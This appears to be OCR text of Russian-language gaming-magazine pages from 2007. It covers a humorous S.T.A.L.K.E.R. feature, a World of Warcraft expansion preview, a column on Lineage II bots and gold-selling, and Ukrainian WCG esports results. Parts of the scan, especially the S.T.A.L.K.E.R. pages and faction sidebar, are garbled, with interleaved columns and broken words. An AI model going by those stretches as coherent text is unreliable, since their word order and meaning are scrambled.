всевозможные пустышки, ожерелья дракона, черные брызги... но не это было самым страшным, в Зоне появился новый животный мир: мутировавшие животные и люди. Это было страшно, но и безумно интересно. Мы приняли решение продолжать исследования и эксперименты. А по окрестностям покатились слухи со скоростью «Столично- го экспресса», невзирая на во- енные кордоны. Появилось очень много людей, называвших себя сталкерами, которые за- нимались тем, что рыскали день и ночь по Зоне, отстреливая уродов, выискивая артефакты и убивая друг друга. Институт превратился в «сумасшедший дом». Вы видели на площади торговый дом Братьев Трахе- ров. Они скупают артефакты, торгуют людьми, боеприпасами и всем остальным, из чего мож- но получить прибыль. Многие сталкеры объединились в до- вольно крупные формирования, такие как «Свобода» и «Долг». Группка отколовшихся воен- ных, прозвавших себя «Моно- литом», окопалась в районе взорвавшейся лаборатории. Они провозгласили, что Зона — это Господнее деяние, и именно мощного оружия. Наш народ всегда отличался редким даром быстро соображать, когда «пах- нет» денежками. Вот и контора братьев не оказалась исключе- нием. Они быстро поняли, как можно оперативно «сколотить» капитал. Довольно потирая ла- дошки и широко улыбаясь, они предложили самый разнообраз- ный товар по очень «свинским» ценам. Чего много говорить? Скажем проще: на патронах нас изрядно разорили. Но мы не стали особо возмущаться по этому поводу. У каждого человека собственный подход к улучшению своего благосо- стояния. В общем, купили мы патро- ны (если можно так назвать ту горсточку, которой едва хватило на то, чтобы зарядить три авто- матных рожка) и отправились в Зону, ради которой, собственно говоря, и приехали. Но вот, не- задача! в Зону-то просто так не пускают! Наш пыл несколько поубавил блокпост, на котором нас встретили злые как собаки военные в полном обмундирова- нии, которое не шло ни в какое сравнение с нашими потертыми старенькими формами. Да и не- достатка в патронах у них явно не было. По крайней мере, такой вывод мы сделали по их самоуве- ренным откормленным физио- номиям и дулам автоматов, которые упирались нам в грудь. Может они блефовали, но выгля- дело все слишком натурально... Рисковать было как-то стремно. У нас было три варианта: прой- тись километров десять вдоль ограды и там тихонько пере- 98 F GAMER Ноябрь 2007
лезть, попытаться прорваться и получить пулю в затылок или хорошо заплатить. Но мы выбра- ли четвертый (на то мы и жур- налисты!) — заговорили зубы, сунули командиру номер нашего журнала и отправились дальше бодрым шагом, пока военные не успели сообразить, что к чему. Вот и она, Зона. Пройдя со- всем немного, мы услышали доносящуюся откуда-то музыку. Как потом оказалось, это бан- диты гуляют в своем лагере. Все, как положено: музычка, веселье и куча водки, отлично- го средства от радиации. Ведь нужно же как-то заботиться о здоровье. Подходить слишком близко мы не рискнули. Решили прислушаться к совету ученого. К тому же видели парочку ти- пов в городе. Знаете, прикиды у них... Мы, конечно, ребята смелые, но говорят, что лучше все-таки перестраховаться. А эти подозрительные типы всегда интересуются содержи- мым твоих карманов. Как-то не хочется сразу ломиться на рожон. Только пришли как- никак. Хоть аномалию какую-то сначала посмотреть бы. Аномалии не заставили себя долго ждать. Буквально в не- скольких метрах за лагерем раз- бойников мы увидели какой-то странный голубоватый туман, расстилающийся над землей метров на десять. Подошли поближе и услышали легкое потрескивание. А еще через несколько шагов увидели в этом голубом тумане небольшие раз- ряды электричества. Сомнений больше не оставалось. Перед нами — Электра. В городе мы слышали, что какой-то стал- кер рассказывал, как его друг полез в эту аномалию, чтобы достать оттуда маленький све- тящийся шарик. Он спасает от радиации, если его носить на поясе (кажется, бенгальский огонь). Все разряды аномалии мигом впились в тело бедня- ги. Он там и остался навеки с зажатым артефактом в руке. Грустно... Хотя, таких историй здесь много. Кстати, мы тоже заметили недалеко от себя све- тящийся бело-голубой предмет, но проверять правдивость слов сталкера не рискнули. Решили поверить на слово. Тем более, что дальнейшее путешествие обещало еще много неожидан- ностей. Следующие полчаса пути были спокойными. Мы не встретили ничего сверх- выдающегося и молча топали, с каждым шагом все больше сокращая расстояние до сердца Зоны. Но неожиданно натол- кнулись на какие-то развалины, на которых неровная желтая надпись гласила: «Ты нам дол- жен!» Не успев ничего сооб- разить, услышали крик: «Стой! Кто идет?» Подняв головы, мы обнаружили типа в черной униформе, который держал нас на мушке и, кажется, уже до- вольно долгое время. От страха перебивая друг друга, мы еле смогли объяснить, что являем- ся журналистами, что хотим изучить Зону, что... «Хотите по- веселиться? 500 рублей — и на- хохочетесь...» Да, его не особо интересовали наши объясне- ния. Он, как и все остальные, хотел заработать денег. Мы не стали долго думать. В конце концов, мы пришли за информацией. А узнать, что местные подразумевают под «весельем» было очень интерес- но! Как только мужчина увидел заветные 500 рублей, которые появились на свет из наших карманов, он сразу подобрел, заулыбался, спустился к нам и повел нас за развалины. По дороге он рассказал, что является членом военизиро- ванной группировки «Долг», остальных членов которой мы очень скоро увидели. Все стоя- ли возле места, называемого Ареной, где время от времени проводилось что-то, наподобие гладиаторских боев. Сегодня военные поймали членов на- учной экспедиции. Им показа- лось, что у них слишком много охраны. Не долго думая, поло- вину расстреляли. А некоторых взяли в плен и продали «Долгу» в рабство, зная об их любви к развлечениям. Победитель сталкерского поединка получа- ет драгоценную свободу и ему ►
вШДя{зЖЖ^У/ЖДЕНйя 5 минут тишины Враг где-то рядом! юо PC GAMER Ноябрь 2007 Минута покоя перед боем. Они не знают, что респиратор от радиации ► возвращают удостоверение личности. А проигравший... Не будем о грустном. Лучше расскажем о том, что мы увиде- ли, когда ушли с базы «Долга». После длинной дороги, V не отличавшейся особыми при- ключениями, разве что только всевозможными аномалиями | да артефактами, к которым Я мы очень скоро привыкли и перестали обращать на них внимание, мы подошли к хол-] му. Точнее, не успели подойти.’ На нас, в который раз за этот | день, нацелили оружие и опять прокричали: «Стой! Кто идет?» Мы долго рассказывали им, Ж зачем пришли. Но эти оказа- * , лись недоверчивее, чем «Долг». , В итоге, они разрешили прой- ти всем, кроме одного из нас. * Один журналист так и остался Ьу них под прицелом. Как по- а том выяснилось, его приняли] f за контролера. Наверное, уж я I слишком мы «подозрительно 1 I шли гуськом». Попали мы на базу группировки «Свобо- ] В да». Это заядлые враги «Долга» S Они не приемлют строгих по- j рядков и принимают в свои ряды всех желающих. Короче, грить товар, на помощь при- в мировоззрениях не сошлись. Ц ходит именно Ашот. Хотя, если Самой интересной персоной Ли мы правильно поняли, с ним был веселый торговец Ашот, не особо выгодно торговать, или просто «барыга», как, сме- Но это как посмотреть. У про ясь, называли его свободовцы. » стого сталкера выбор невелик: | Он успел уже прославиться либо километров восемь топать на всю Зону. А братья Трахеры >4 в город, чтобы перед самым уже давно точат на него зуб. Уж I блокпостом попасться в руки Jj слишком он подпортил им биз-Ж бандитам (как мы уже гово- W нес. Торговцы даже предлагают^рили, это не особо приятные’ за его голову полторы тысячи. типы), либо сдать все Ашоту,’ Хотя никто особо не старается W получить свои фронтовые 150 их заработать. Полторы ты- ijP граммов коньяка и с радостной сячи — это, конечно, хорошо. улыбкой отправляться за новы- Но когда срочно нужно сба- w ми артефактами. j|
ШГ“~г---- «Свобода». Основная функция группировки — не пропускать через барьер всякую гадость, отражать на- падения «Монолита». Иногда сопро- вождают научные экспедиции, по- могают ученым исследовать аномаль ные явления. Они считают, что все происходящее в Зоне должно быть всем известно, чем вызывают гнев от закона или просто повеселиться на большой дороге. Среди них может быть как обычная шпана, так и се- рьезные уголовники. Военные. Солдаты, прошедшие военную подготовку, или сталкеры, подписавшие контракт с армией. Они хорошо вооружены и не знают недо- статка ни в технике, ни в патронах. В основном, занимаются изучением причин катастрофы и составляют карты Зоны. Их не любит никто. Они отвечают взаимностью. Особенно не переносят на дух свободных сталке- ров. Увидев их, открывают огонь на поражение, даже не предупредив. , rizvr-z> »лп/''гР1гятьСЯ “I------- - _______ этой же причине попали в немилость к «Долгу». В ряды «Свободы» по- падают бывшие военные, различные наемники, люди, которые не могут жить без оружия и просто любители- авантюристы, которые не приемлют ничего, кроме свободы. Долг». Только представители этой группировки не торгуют артефакта- Dpaion _- мыслью по древу? Они обычные ба- рыги. Плохо выдерживают здоровую конкуренцию, поэтому предлагают за голову торговца «Свободы» Ашота полторы тысячи. Изучают Зону. Ищут и исследуют новуые арте- факты, пишут научные труды и пытаются 4^ д Но (чего уж тут греха таить) сами иногда барыат, в основ- - ном, по давно налажен- ным контактам. 4 ми. Все найденное или захваченное они сдают ученым. Враждуют со «Свободой» из-за ее анархистских взглядов на жизнь и свободу. В груп- пировке царит военная дисциплина. В большинстве своемп, объединяются в банды и очень докучают свободным сталкерам. Ну, не любят они свобод- ных духом! Что уж тут поделаешь? 7 Свободные сталкеры. Зарабаты- вают деньги и выполняют квесты. За деньги готовы мать родную продать. Они не обременены законами, рам- ками и условиями и могут делать, что хотят, и как хотят. По словам самих сталкеров, к «Монолиту» относятся нейтрально, поскольку, как и они, не приемлют никого, кроме самих себя. Однако, как ни странно, это не мешает им дружить со «Свободой» и при каж- дом удобном случае просить ее о по- мощи. Хотя, если честно, по игре сво- бодные сталкеры были задуманы, как люди, воюющие в одиночку, поскольку группировки отбирают драгоценное время. Однако в любом случае это люди, которые жить не могут без Зоны й без ее артефактов (на которых, между прочим, можно срубить нехилЫе баб- ки!), как наркоманы без дозы. Бандиты. Беспределыцики, при- шедшие в Зону по разным причинам: заработать на артефактах, скрыться 1 «Дкшолит» — сумасшедшие сей7 ~ танты, которые свято верят в то, что в центре Зоны находится эволюци- онный кристалл неземного проис- хождения, именуемый Монолитом. Очевидно, все они страдают манией преследования, поскольку во всех сталкерах видят бессовестных злоде- ев, настырно пытающихся украсть их сокровище. Именно поэтому стара- ются никого не пропускать на свою А это завтрак сталкера! Неизвестное ученым порождение Зоны. после нашего отъезда. Жаль, конечно, но что поделаешь? Мы не могли больше задерживать- ‘ ся, ведь нужно было как можно скорее донести до вас, дорогие (читатели, всю эту весьма важ- ную информацию. • Д Ик Убедительная просьба к осо- Гбо доверчивым: не восприни- майте все вышеизложенное Г слишком буквально. Хотим сказать большое спасибо на- шим друзьям, компании GSC, и всему присутствовавшему народу за прекрасно прове- денное время. ' * Мы еще долго бродили /4. ь по Зоне, изучая местность и ее достопримечательности. Даже I приняли участие в нелегком " бою за Барьер. Дело в том, что , I его захватил «Монолит» и нуж- | но было срочно дать им отпор. IК счастью, потерь среди наших [ценных сотрудников не было J В^Кого мы так и не увидели. ~к сожалению, так это зомби, контролеров, снорков и про- ’чую нечисть, о которых мы наслышаны. Говорят, что они повалили огромными стаями буквально на следующий день Ноябрь 2007 PCGAMER юг
МОИ МИР MMORPG 1 .{ l| ! 1 'ilvORLDOF WARCRAFT WRATH OF THE LICH KING Пункт назначения: Northrend Джеф Каплан, веду- щий дизайнер игры World of Warcraft уже приветствует ликующую толпу, которая радуется прекрасной новости — выходу в свет новой версии World of Warcraft. Это сообщение является почти что формальностью, так как все уже давно просочилось в Интернет. Но, тем не менее, это не мешает фанатам радо- ваться каждой его строчке. Геймерам предлагается исследовать новый конти- нент, охваченный морозом, познакомиться с новым геро- ем — Рыцарем Смерти. Самая колоссальная новость в игре «Король Лич» — это долго- жданное возвращение повер- женного принца Артеса, исто- рия о котором легла в основу сюжета Warcraft III. Он воссе- дает на троне в Нортренде, направляя своих фаворитов сеять страх по всей стране. Каплан утверждает, что «вы постоянно будете контакти- ровать с артесом, ощущая его присутствие с самого первого шага на Northrend». Локация Northrend — кра- сивое место. Всем обитате- лям предоставляется воз- можность исследовать пер- вую целостную зону в мис- сии — внушающий страх Howling Fjord. В этом месте журчащая река извивается между лугами и периодиче- ски прерывается деревнями, пылающими пожаром. Здесь побывали зомби, и результа- ты их диких и жестоких дей- ствий легко заметить. Исследовать этот каньон — означает бро- дить по поврежден- ным и ветхим пологим отко- сам, которые засажены деревьями. На покрытой снегом верши- не горы вы обнаружите великолепный сосновый лес, по которому просто нельзя не прогуляться. На террито- рии каньона неподвижно зависают в воздухе множе- ство пылающих дирижаблей. Цель такова: когда они вме- сте берутся за дело, то обра зуют основной компонент первоклассной подземной тюрьмы. Пейзажи Blizzard становятся все лучше и лучше: каждый раз, загля- дывая за угол, можно уви- деть еще одно ошеломляюще красивое изображение, похожее на живописную открытку. Новый класс героев, Рыцарь Смерти, будет досту- пен всем игрокам независимо от их груп- пы или расы. Вам придется пройти длин- ную «Король Лич» — это долго- жданное возвращение поверженного принца Артеса депочку квестов, которые определят «ячейку» вашего героя в обществе. Впоследствии это поможет вам создать абсолютно новый пер- The сонаж. Он должен стать еще одним танкующим классом, способным покорно принимать наказания и отвлекать внимание боссов, пока волшебники и проказни- ки, даже не задумываясь, ата- куют сверху или сзади. Но он — не просто герой с красивеньким личиком и большим мечом. Он облада- ет способностью вызывать зомби и отбивать мощные атаки. Но у Джефа есть новинки и поинтереснее... Разработчик Blizzard Издатель Sierra 2008 год ОПАСНАЯ TUSKY Tuskar — раса наделенных разумом моржей, которые считают тундру своим домом. Они абсолютно сумас- шедшие, ведь они испортили весь пейзаж своей резьбой по дереву. Представьте себе статуи на острове Пасхи с десятифутовыми бивнями — и вы в Borean Tundra. ИНФОРМАЦИЯ 102 GAMER Ноябрь 2007
WN GLACIER ICEC Gandrak Drak aron BOR Grizzlemaw Wyrmrest Temple GRIZZLY HILLS OWLIItIG FJ Valgarde Aziol-Nerab Entrance Lake ( Wintergrasp —/Temple of Storms rowh Citadel n NORTHREND О Uldaar СТРАНА FURBOLG Холмы Grizzli— родина огромных медведей Furbolgs, которые внушают ужас. Их столица — Grizzlemaw— станет для игроков тяжелым объектом для захвата. ЗОНА ПРОТИВОСТОЯНИЯ Замерзшее озеро Wintergrasp— природный ресурс Northrendn первая зона PvP. Приблизившись к долине, вы автоматически становитесь мишенью враждебной стороны. ПЕЩЕРА ДРАКОНА В романах о Warcraft неоднократно повторяется, что пещера дракона является местом, куда приходят умирать огненные ящерицы. Предполагалось, что это будет устрашающее место, в котором Гоблины выкапывают кости. Icemist yillag Thdr Modan О THE k STORM x PEAKS S'- Tnfc Great Tree ° CRYSTALSOIXIG \ FOREST Shiverwind Coast СОВРЕ- МЕННЫЕ ПРИЧЕСКИ Нравится прическа? Нам тоже. По мнению творцов WoW самое превосходное свойство игры — видоизменяемые ^танцуй, ДЕТКА! Очевидно, что захватить таверну Goldshire—это весело. Точно так же, как и сбросить с себя лишнюю одежду и где- нибудь в уголочке начать сражаться с ночными эльфами. Но каким образом можно отличиться среди остальных гоблинов? Ответ прост: с помощью управляемых танцевальных движений. ЧЕРЕЗ НЕГО ПРОТЕКАЕТ РЕКА Самое живописное место в игре World of Warcraft— Howling Fjord— выглядит именно так: чудесный альпийский каньон и процветающий город на берегу реки. Ноябрь 2007 GAMER 103
Мой мир MMORPG Коммерция Lineage Былая слава... Добрый день, дорогие читатели и добро пожаловать в нашу ру- брику, посвященную MMORPG. В прошлом выпуске нашего журнала я познакомил вас с запланированным нововведением попу- лярнейшей игры World of Warcraft — под- земельем Zul Aman. Сегодня же мы по- говорим о Lineage II (Chronicle 5 — Oath of Blood) или, как говорят в простонародье игрового мира, линейке. Еще пять лет назад линейка являлась мировым хитом №1, лидируя во всех хит- парадах многопользовательских ролевых игр. На сегодняшний день, к сожалению, популярность этой игры в Западной Европе и на территории США оставляет желать лучшего, а новые патчи и апдейты, выпускаемые корейскими разработчиками, перестали нести в себе идею и стали практически жалким подо- бием лидирующего WoW. Неужели идеи у разработчиков иссякли? Или, может быть, насытившись многомиллионной прибы- лью, которая ручьем лилась в карманы про- изводителей на протяжении трех с поло- виной лет, разработчики медленно, но уве- ренно пустили производство на самотек, рассчитывая на автоматическую самоотда- чу? А когда пальма первенства стала посте- пенно переходить в руки WoW, просто не сумели выпустить по-настоящему громкое продолжение игры, отмазываясь от гейме- ров примитивными патчами и недорабо- танными апдейтами? Возможно, все было именно так, и я даже уверен, что проблема усовершенствования игры — одна из важнейших причин гибели проекта. Да, именно гибели, несмотря на то, что, вплоть до сегодняшнего дня, продолжается бесконечный поток примитивных модернизаций и дешевых подделок, проводящихся Activision прак- тически еженедельно. Но главных причин краха игры — две. И именно о них сегодня пойдет речь в нашем обзоре. Итак, начнем с первой, а именно — с системных требований к игре. Далеко не каждый в состоянии позволить себе приобрести компьютер, который сможет «потянуть» линейку на максимальном раз- решении и без глюков. Вот вам наглядный пример — мой Dual Core, с 4 гигабайтами оперативной памяти и предпоследним разогнанным G-Force. Казалось бы, на та- кой машине все должно не то, что бежать, но даже временами лететь. Должно, да оказалось — не судьба. Уже при аЛ первой осаде замка Gludio мне пушилось отключить нескоть- ко графических опций, чтобы играть без рывков и лагов. А на осаде Aden, самого почетного, по старым мер- кам, замка в игре, я снова осадил свои настройки, W прибегнув к примитивной w «кастрации» графики. Здесь, ’ из-за присутствия огромного количества людей, картинка не просто тормозила, а прямо-таки зависала на полторы-две секунды. Речь идет, естественно, об офи- циальных серверах игры. О «пиратках» мы побеседуем чуть позже, в следующих номерах нашего журнала. Теперь сравним системные требования к Lineage с требо- ваниями к WoW. Варкрафт отличается от линейки откровенно примитивной и узкой графикой, герои прорисованы слишком мультяшно (хотя прогресс налицо в виде новой расы — Bloodelf). Но при этом игра не имеет никаких капризов и работает даже на самых слабых и ржавых ком- пьютерах без лагов. Иными словами: или играйте в узколобый и графически у J отсталый WoW(хотя гейм- плей в Варкрафте намного превосходит линейку, а дуэли гораздо интереснее и продуманнее, но это уже отдельная пес- ня) или покупайте себе мощный агрегат и получайте море удовольствия при виде сексуальных эльфийских девочек мира Lineage. Западная Европа сказала линейке однозначное — «нет», Америка расколо- лась поначалу на две части, но затем также предпочла WoW. И только страны бывшего СССР остались верны (или частично вер- ны) Lineage. Казалось бы, геймеров, оби- тающих в станах бывшего СССР, хватило бы с головой, чтобы покрыть наличные расходы Activision и остаться в рейтинге на первых местах, но — не судьба. А все потому, что «наш брат» откровенно игно- рирует платные официальные серверы, развлекаясь на гораздо более удобно на- строенных (пусть даже недолговечных и дырявых) «пиратках». Вторая и более веская причина за- ключается в том, что линейка пре- вратилась в некую биржу. Наши китайские друзья моментально пронюхали, что на фанатизме и преданности игре можно делать неплохие «бабки». Бы- стренько запрудив «своими пацанами» все официальные серверы, рисовые магнаты в считанные месяцы превратили игру в ходячую коммерцию. А тут еще и друзья-корейцы помог- | 104 PCGAMER СентябркДзооу
ли, которые, чтобы хоть кусочек пирога урвать в этом бизнесе, создали себе на горе программу, которая позволяет во- обще не находиться у компа и зара- батывать виртуальные деньги, эта, именуемая ботом в простонародье или Walker в официаль- ной версии, автомати- чески подсоединяется к требуемому серве- ру, загоняет игрока на нужную позицию и играет им, пока вы ее не выключите. Более того, последние версии Walker обладают, так сказать, искусственным интеллектом — программа в состоянии общаться и отвечать на вопросы, а также, в случае появления непосредственной опасности в виде гейммастера или просто агрессивного игрока, сбежать подаль- ше или вообще выйти из игры на пару минут. Естественно, Walker поначалу был платным и закодированным, но ки- тайские умельцы быстренько взломали стамину, переписали на свой лад, да еще назло корейцам выложили взломанные версии в свободное пользование в ин- тернет. Дескать, берите, кто хочет. Тут уж подоспел и «наш брат», и американцы, а несчастным создателям удалось продать только пару десятков ботов честным западноевропейцам, которые, в ито- ге, хоть и поздно, но сообразили, что платить за то, что можно получить бесплатно — глу- по и непатриотично. Walker произвел на- стоящую революцию в линейке. Во-первых — быстрая раскачка персонажа, во-вторых — полная свобода действий, а в-третьих — быстрое обо- гащение виртуальной валютой, которую можно «сбагрить» за наличные ленивым, но богатым дядькам. С этого все и на- чалось, но затем сервис стал круче — за наличку можно приобрести виртуаль- ные сеты одежды, специальное оружие, ездовых драконов и прочий хлам. А для самых ленивых клиентов, очень желаю- щих играть, были предложены сервисы продажи уже готового, укомплектован- ного игрового персонажа максимального уровня. И этот бизнес попер вовсю. Игра превратилась в жизнь. Надоел какой- то игрок — заплати китайцам, и они ему жизни на сервере не дадут. Будут убивать его каждые две минуты, пока или бросит играть совсем, или же заплатит другим за «крышу». Не полу- чается выбить из монстров нужное оружие или одежду? Плати бабки и будет тебе счастье. Естествен- но, бедное население выражало крайнее недовольство и умоляло Activision принять меры. И как это не странно, но с этой проблемой разработ- чики справиться не смогли. Да, предпри- нимались попытки массового уничтоже- ния китайских аккаунтов, да, наказывали, писали, грозили, ругались. Но только «воз и ныне там» — бой против ботовод- ства Activision проиграла, а вместе с этим поражением и топ-рейтинги MMORPG. А вот Blizzard (создатель WoW) ока- залась совсем не в дураках. В игру были внедрены элементы современного эко- номического рынка. Помните, как Остап Бендер, в знаменитой книге Ильфа и Петрова, ничего не мог купить на свой миллион, кроме продуктов ежедневного обихода? Та же ситуация сложилась и в WoW. Купить золото у китайцев можно, но только что с ним делать — вот, в чем вопрос. В Варкрафте редкие вещи про- дать или передать другому игроку невоз- можно — они привязаны к хозяину раз и навсегда и их можно вернуть только в «государственный» магазин. А простые вещи вполне реально добыть самому и, в отличие от линейки, для этого не нужно торчать по 30 дней в одной и той Еще пять лет назад «линейна» являлась мировым хитом №1 же локации, монотонно убивая тысячи непокорных тварей. Кроме того, в WoW никто не сможет вас обокрасть — добыча за убитого монстра доступна только тому, кто его убил. В линейке же вылетающая из убитой твари роба падает на пол и становится предметом всеобщего обзора. И какой-нибудь, не совсем чистый на руку гражданин начнет стрелять в спину тому, кто радостно бежит к своей добыче, надеясь овладеть чужим богатством. В Варкрафте такой способ невозможен — не конфликтующие между собой нации вообще не могут нападать друг на друга. Более того, Blizzard серьезно при- нялась даже за тех жалких китайцев, которые все-таки попытались на- житься на WoW. Ежемесячно их пачками отключают от игры, удаляют героев, за- бирают все виртуальное имущество, банят по IP. Например, для того, чтобы без проблем играть на не- мецких серверах WoW, нуж- но иметь немецкий, австрий- ский, швейцарский или люксембургский IP-адрес. Все остальные, особенно ки- тайские, корейские и российские адреса ежедневно и практически ежечасно на- ходятся под постоянным надзором. Одна единственная реклама какого-нибудь подозрительного сервиса, исходящая от вашего героя в общем чате, и завтра аккаунта уже не будет, а по электронной почте — придет злобный e-mail о «Нару- шении устава игры». Итак, Blizzard явно переиграла конкурентов из Activision, сохранив какой-никакой, а все-таки фи- | нансовый баланс. Конечно, ошибок у нее I тоже куча, но, в основном, эти ошибки I касаются баланса дуэлей и никак не влия- | ют на игровую коммерцию. Вопрос: а сколько же еще протянет линейка? Однозначного ответа я дать не могу, но рискну предположить: LOtR I (Властелин Колец) Online, равно как и Guild Wars, — не конкуренты для Lineage. I Пусть на сегодняшний день Guild Wars j стоит выше по рейтингу, a LotR выров- Я нялся с линейкой — это все калифы на час. Guild уже находится в состоянии рас- I пада и теряет ежедневно сотни геймеров | (большинство уходит в WoW), a LotR сги- 1 нет из-за своей совершенно отвратитель- -а ной монотонности и просто беспардон- | ных попыток копировать все три игры. Если Activision сумеет воспользоваться я ситуацией и постарается за счет неудач и конкурентов выползти из ямы — Lineage ] будет жить еще долго и счастливо. Но ,1 если все будет продолжаться в том же духе, то есть все пустится на самотек и не 1 будет проявляться никакой инициативы, я то к началу середине 2008 года запла- нированный выход Warhammer Online с 1 потрохами «сожрет» линейку, равно как Ч и LotR, и Guild Wars. И мир MMORPG будут делить между собой два великих игровых магната нашего времени. Сентябрь 2007 PCGAMER 105
CyberSport тм book пучит персональный сертификат иа J QQQ грн NCLeague 10 Counter-Strike 7 крупнейших городов Украины + столица Молдовы Лучшие команды дну» стран а масштабном киберсоор’иеном проекте1 Призопи «оч 5 мотороллеров ти SKY Mott ♦ JPMWTMMM *13Ь< Лучшим игрок Ли| от магазина юб I GAMER Ноябрь 2007
(^WCGj Дорогие читатели, в прошлом пилотном номере журнала мы рассказали вам о том, как про- ходили и чем завершились региональные отборочные туры World Cyber Games 2007. И вот настало время поведать о главном событии года в ки- берспорте — всеукраинском финале, который расставил все точки над «i». Как и в предыдущие годы, финал WCG состоялся в Укра- инском Доме, в центре столи- цы. Поверьте, давно это место не видело таких страстей, которые полыхали в тот уик- енд! Ведь в финале принимали участие более 100 киберспорт- сменов со всей Украины, и каждый из них хотел показать, на что способен, и выложить- ся по максимуму. Турнир торжественно от- крыли поднятием флага WCG. После этого прозвучал знаме- нитый гимн Всемирных Кибер- спортивных Игр. Стоит отме- тить, что сильнейшие игроки и команды, которые в течение года показывали лучшие ре- зультаты, были распределены в разные группы, после это- го главный судья турнира Геннадий Веселков вместе с бренд-менеджером компании Samsung Electronics Ириной Половневой решили судьбу остальных участников. В нынешнем году организа- торы максимально усложнили структуру проведения игр, но тем самым предоставили иг- рокам возможность выявить самых сильных и достойных. Начался финал с групповых турниров. В итоге, уже в пер- вый день отсеялась половина участников. Вторая половина продолжила соревнования на второй день. Причем, если в Counter-Strike на кону стояла только одна квота на гран- дфинал, и play-off проходил по схеме Single Elimination до двух побед, то в остальных дисциплинах участники игра- ли полный Double Elimination. А это значит, что они имели второй шанс пробиться в кво- ты, даже однажды проиграв и упав в сетку лузеров! А теперь самое время перейти к фи- нальным турнирам в четырех киберспортивных дисципли- нах, начиная с первого дня соревнований. Starcraft: BroodWar В этой стратегии обошлось без неожиданностей (или почти без них). Группа А порадовала настоящей борь- бой, и если главный фаворит группы fake.Alf, не напряга- ясь, вышел во второй тур, Jersey пришлось побороться. Проиграв Land’y, он вышел во второй тур, благодаря победе над Альфом и луч- шему соотношению побед- поражений. В группе В не оказалось фа- воритов турнира. Кто попадет в ТОР-8 — для большинства участников было загадкой. Впрочем, к концу игрового дня все стало ясно. Старо- жил Старкрафта, киевлянин Hireling, не вышел из группы, а в восьмерку лучших проби- лись escort и St. Bodzen. В группе С скрестили шпаги (вернее, мышки) два едва ли не главных претендента на золото. Здесь внимание бо- лельщиков было особенным. Всем было интересно, кто же победит в поединке: опытный Strelok или молодой, но очень перспективный fake.fraer? Конечно же, победила моло- дость, но Strelok пообещал реванш своему оппоненту в следующем турнире. В группе D безоговорочно лидировал легендарный иг- рок MYM]Whire-Ra. И пусть кто-то уже успел списать со счетов неоднократного побе- дителя WCG в Украине, что он мало тренируется и ему не одолеть Стрелка и Фраера, но MYM]Whire-Ra был другого мнения на этот счет. Warcraft III Казалось, что в этой ки- берспортивной дисциплине неожиданностям места нет, настолько явно фавориты турнира в течение года до- минировали на множестве чемпионатов. Достаточно взглянуть на всеукраинский рейтинг на чтобы увидеть, как оторвалась четверка лидеров от осталь- ных игроков. Но на групповом этапе всех ожидала настоящая сенсация! Результаты игр в группе А для фанатов были шокирую- щими! Второй игрок турнира, после SK.HoN.C-dub, вчистую проиграл в группе двум со- перникам и занял лишь третье непроходное место. Во второй тур прошли cPro.Ghost и Warrior. В группе В Хот обыграл всех своих оппо- нентов, уступив все же одну карту Блаю. Это и решило судьбу вто рого места. При равном количестве очков у остальных трех игроков, победа над Хотом в одной из игр дала Блаю до- полнительные балы, и именно он попал в заветную восьмерку сильнейших. Еще одной сенсацией были игры в группе С. Видимо, Tresh.C-Club не смог совла- дать с нервами и уступил обеим игрокам керченской команды KerchNET. Молодые парни с юга страны уверенно обыграли именитого соперни- ка и прошли во второй этап турнира. В группе D неожиданностей не произошло. Некогда гроз- ный Fox не смог противосто- ять двум эльфам. В итоге, из этой группы на первое место вышел raC.Sonik, не менее ценное второе занял харьков- чанин 2ez.Snake. Вирту- альный футбол в нынешнем году — это что- то! Потря FIFA 07 GAMER 107
CyberSport сающее количество игроков, игрок NOA. Настроенный на неимоверный накал страстей, масса турниров, зрелищные игры, высочайший уровень мастерства ТОПа Украины и бешеная конкуренция. В результате этого игроки и болельщики получили пот- рясающий чемпионат. В группе А обошлось без сенсаций. Уверенные в своих силах, Shpil-mN.Chudlk.C-Club и Коегпап вышли из группы, задавив оппонентов своим опытом. В группе В схлестнулись два игрока сборной Украины. Встреча харьковчанина Blooda и киевлянина Мика получи- лась захватывающей! Выиграв в первом матче, Мика уступил второй, и судьба первого места решилась в третьей игре. Со счетом 8:5 победил киевлянин. Группа С была самой пред- ставительной. С одной сторо- ны, главным фаворитом здесь считался победитель прошлых отборочных WCG Walkman.C- Club, с другой — львовский победу, Manuna.C-club был в потрясающей форме. Два других игрока также в числе лузеров не значились. Прак- тически все матчи в группе игрались со счетом 2:1, и фа- вориты, пусть не без усилий, но попали в ТОР-8. В самой слабой группе D сюрпризов не состоялось. Два никому неизвестных игрока, пройдя в финал, не смогли ничего противопоставить более опытным f.p.Damage и TLR| Master.Vault. Counter-Strike He секрет, что здесь претен- денты на квоту были известны еще задолго до финала. Тем не менее, 14 команд собралось в Украинском Доме в попытке сотворить сенсацию. Что ж, посмотрим, что из этого полу- чилось. В группе А встретились две команды из Донецка. Им противостояли TNT.Numbazz и im.possible. Две дружные команды, находясь в одной группе, всегда имеют преиму- щество, ведь одна может подыграть другой и дать несколько раундов, ко- торые решат судьбу второй квоты. Так вышло и на этот раз. Несмотря на одинаковое количество побед и пора- жений, львовская команда TNT.Numbazz имела худшее соотношение взятых и отдан- ных раундов по сравнению с MoralezZ. Это позволило последним на втором месте выйти из группы вслед за ко- мандой xb. Самые интересные игры проходили в группе В. Ведь здесь играли A-Gaming — главные претенденты на победу. И именно к ним было приковано все внимание бо- лельщиков. Две команды из Одессы и команда из Мариу- поля боролись лишь за второе место в группе, которое доста- лось команде WAR. Очень достойный скил по- казали команды в группе С. Обновленные pro 100 без двух ключевых игроков, перешед- ших под опеку российского проекта Virtus.pro, выглядели явно ослабленными. В то же время киевляне из DD, коман- да из Днепропетровска DTS и симферопольцы je были на- строены серьезно. Последние, к сожалению, не собрались. И если в прошлом году эта команда демонстрировала отличный уровень, теперь они проиграли всем с разгромным счетом. DD и DTS дали бой харьковчанам, но все свелось к розыгрышу второй квоты в ТОР-8. Победу одержали DTS, а команда DD в этом году ос- талась «за бортом» на второй день соревнований. В группе D борьба велась лишь за второе место. Первое заочно зарезервировали киев- ляне из eXplosive. Неожиданно для всех на втором месте во второй тур вышла команда из Днепропетровска Kill АП. После завершения первого дня соревнований участников и гостей еще ждали конкурсы от организаторов и концерт популярной группы Тартак. Второй день обещан быть необычайно интересным, ведь в каждой из дисциплин осталось всего восемь участ- ников. В то время как лучшие из лучших соревновались, в актовом зале Украинского Дома на больших экранах все желающие могли следить за ходом событий. Наиболее интересные и важные игры транслировались в прямом эфире, а профессиональные 